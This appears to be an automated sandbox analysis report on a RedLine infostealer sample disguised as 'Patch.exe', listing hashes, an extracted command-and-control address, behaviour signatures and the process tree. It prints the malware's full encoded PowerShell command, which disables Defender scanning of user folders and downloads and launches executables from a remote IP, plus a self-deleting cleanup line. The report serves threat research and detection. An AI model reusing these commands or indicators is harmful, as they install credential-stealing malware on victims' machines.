Analysis
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max time kernel
54s -
max time network
57s -
platform
windows10-1703_x64 -
resource
win10-20220812-en -
resource tags
arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system -
submitted
19-08-2022 21:40
Static task
static1
General
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Target
Patch.exe
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Size
174KB
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MD5
9d976aa0b7b02302e0e89466040080d0
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SHA1
70c91eee4491050908bb74c5c00ff0f01efff7a3
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SHA256
3ec60ccea3fec48d3ea33c63d7d66ec1d3badb174963e8dffe8ce528473c6886
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SHA512
c8b1c3ff4a21baf629147271ce57b7762e692cf94fb430b10e0eab22c0833d7881b1a6724a08844abe0dc98a4f964ef1766edbbf7515bde365a4fc453b94dfcd
Malware Config
Extracted
redline
1877
overthinker1877.duckdns.org:60732
Extracted
arkei
Default
Signatures
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RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 3 IoCs
resource yara_rule behavioral1/files/0x000900000001abfd-526.dat family_redline behavioral1/files/0x000900000001abfd-573.dat family_redline behavioral1/memory/2176-624-0x0000000000610000-0x0000000000648000-memory.dmp family_redline -
Blocklisted process makes network request 1 IoCs
flow pid Process 2 4380 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 3 IoCs
pid Process 3848 svshosts.exe 2176 svchosts.exe 2680 svchost.exe -
Loads dropped DLL 2 IoCs
pid Process 3848 svshosts.exe 3848 svshosts.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svshosts.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString svshosts.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 3252 timeout.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 4380 powershell.exe 4380 powershell.exe 4380 powershell.exe 2176 svchosts.exe 2176 svchosts.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4380 powershell.exe Token: SeDebugPrivilege 2176 svchosts.exe -
Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 1884 wrote to memory of 4380 1884 Patch.exe 67 PID 1884 wrote to memory of 4380 1884 Patch.exe 67 PID 1884 wrote to memory of 4380 1884 Patch.exe 67 PID 4380 wrote to memory of 3848 4380 powershell.exe 69 PID 4380 wrote to memory of 3848 4380 powershell.exe 69 PID 4380 wrote to memory of 3848 4380 powershell.exe 69 PID 4380 wrote to memory of 2176 4380 powershell.exe 70 PID 4380 wrote to memory of 2176 4380 powershell.exe 70 PID 4380 wrote to memory of 2176 4380 powershell.exe 70 PID 4380 wrote to memory of 2680 4380 powershell.exe 71 PID 4380 wrote to memory of 2680 4380 powershell.exe 71 PID 4380 wrote to memory of 2680 4380 powershell.exe 71 PID 3848 wrote to memory of 4216 3848 svshosts.exe 74 PID 3848 wrote to memory of 4216 3848 svshosts.exe 74 PID 3848 wrote to memory of 4216 3848 svshosts.exe 74 PID 4216 wrote to memory of 3252 4216 cmd.exe 76 PID 4216 wrote to memory of 3252 4216 cmd.exe 76 PID 4216 wrote to memory of 3252 4216 cmd.exe 76
Processes
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C:\Users\Admin\AppData\Local\Temp\Patch.exe"C:\Users\Admin\AppData\Local\Temp\Patch.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1884 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAegBzACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAawB4AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAeQBoAGYAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAdABnAGoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADMALgA5ADAALgAxADIAOAAuADIANQAzAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHMAdgBzAGgAbwBzAHQAcwAuAGUAeABlACcALAAgADwAIwB1AG0AcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHEAbQBuACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAG4AbABxACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBzAGgAbwBzAHQAcwAuAGUAeABlACcAKQApADwAIwBrAGoAcAAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQAzAC4AOQAwAC4AMQAyADgALgAyADUAMwAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBzAHYAYwBoAG8AcwB0AHMALgBlAHgAZQAnACwAIAA8ACMAeABsAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBwAGMAbQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB2AGEAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBzAHYAYwBoAG8AcwB0AHMALgBlAHgAZQAnACkAKQA8ACMAbABzAGQAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvADEAMwAuADkAMAAuADEAMgA4AC4AMgA1ADMALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AcwB2AGMAaABvAHMAdAAuAGUAeABlACcALAAgADwAIwB1AHcAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHoAdQB5ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGQAdgBtACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAnACkAKQA8ACMAeABjAGQAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBoAGIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHYAcABwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBzAGgAbwBzAHQAcwAuAGUAeABlACcAKQA8ACMAcAB4AGYAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZwByAGQAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAG0AagB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBjAGgAbwBzAHQAcwAuAGUAeABlACcAKQA8ACMAaABtAGwAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAbAB3AGIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGEAYQBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAnACkAPAAjAGEAcwBrACMAPgA="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4380 -
C:\Users\Admin\AppData\Local\Temp\svshosts.exe"C:\Users\Admin\AppData\Local\Temp\svshosts.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:3848 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\svshosts.exe" & exit4⤵
- Suspicious use of WriteProcessMemory
PID:4216 -
C:\Windows\SysWOW64\timeout.exetimeout /t 55⤵
- Delays execution with timeout.exe
PID:3252
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C:\Users\Admin\AppData\Local\Temp\svchosts.exe"C:\Users\Admin\AppData\Local\Temp\svchosts.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2176
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C:\Users\Admin\AppData\Roaming\svchost.exe"C:\Users\Admin\AppData\Roaming\svchost.exe"3⤵
- Executes dropped EXE
PID:2680
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
205KB
MD5b3503746bb7f1d30755c9f4a26ce0a2c
SHA12490c2a6b3fad0711993c8bb16aab2d21cefac6f
SHA25690706da9b2d8dca13b4823cb9b6c95bde3df92ac336826722b33cfe495d2e300
SHA512142841d0e5a51212af7f7ae6cd083eb5daa2e5542f3c8294524ff8c722a4dcbe8462bf647f928ba3b3edb4d36638a4be5a83ad5762e9b8e66429f6006901b72c
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Filesize
205KB
MD5b3503746bb7f1d30755c9f4a26ce0a2c
SHA12490c2a6b3fad0711993c8bb16aab2d21cefac6f
SHA25690706da9b2d8dca13b4823cb9b6c95bde3df92ac336826722b33cfe495d2e300
SHA512142841d0e5a51212af7f7ae6cd083eb5daa2e5542f3c8294524ff8c722a4dcbe8462bf647f928ba3b3edb4d36638a4be5a83ad5762e9b8e66429f6006901b72c
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Filesize
161KB
MD536b190e42e0322b838447fb46098e162
SHA1ab3e9669f8e50f68e4086943be05b0de245f8b16
SHA2561812d5a1466bca0681c49479e7f026d48d6c3dbb5c2a082f288eb4f4578670c4
SHA5123080d6bd06ce32140ffa5baf5a3c08d0eb8debe0e5cd6904ade61a783c82537e912a62c925867ed860691626d0a217d6ff7b98a8c42078ff4faba35409f25e4b
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Filesize
161KB
MD536b190e42e0322b838447fb46098e162
SHA1ab3e9669f8e50f68e4086943be05b0de245f8b16
SHA2561812d5a1466bca0681c49479e7f026d48d6c3dbb5c2a082f288eb4f4578670c4
SHA5123080d6bd06ce32140ffa5baf5a3c08d0eb8debe0e5cd6904ade61a783c82537e912a62c925867ed860691626d0a217d6ff7b98a8c42078ff4faba35409f25e4b
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Filesize
14KB
MD51937d5a853734874a0ef18d4acc43113
SHA137c4f8d0c6fea50f836c0a308b06de910205189a
SHA25688e6238b9329ac7eca5ff20016f896c4869760a44e2da20cfd070bf83db52d64
SHA512e43cbf94a70683649ac126a68d37f0d69bb581864e5e1a6076f9a09e2a3a89f88b436d3ef41300af873ea1fc70f3fdb75fe69288bcf5c17ef100b4b802478a28
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Filesize
14KB
MD51937d5a853734874a0ef18d4acc43113
SHA137c4f8d0c6fea50f836c0a308b06de910205189a
SHA25688e6238b9329ac7eca5ff20016f896c4869760a44e2da20cfd070bf83db52d64
SHA512e43cbf94a70683649ac126a68d37f0d69bb581864e5e1a6076f9a09e2a3a89f88b436d3ef41300af873ea1fc70f3fdb75fe69288bcf5c17ef100b4b802478a28
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Filesize
133KB
MD58f73c08a9660691143661bf7332c3c27
SHA137fa65dd737c50fda710fdbde89e51374d0c204a
SHA2563fe6b1c54b8cf28f571e0c5d6636b4069a8ab00b4f11dd842cfec00691d0c9cd
SHA5120042ecf9b3571bb5eba2de893e8b2371df18f7c5a589f52ee66e4bfbaa15a5b8b7cc6a155792aaa8988528c27196896d5e82e1751c998bacea0d92395f66ad89
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Filesize
1.2MB
MD5bfac4e3c5908856ba17d41edcd455a51
SHA18eec7e888767aa9e4cca8ff246eb2aacb9170428
SHA256e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78
SHA5122565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66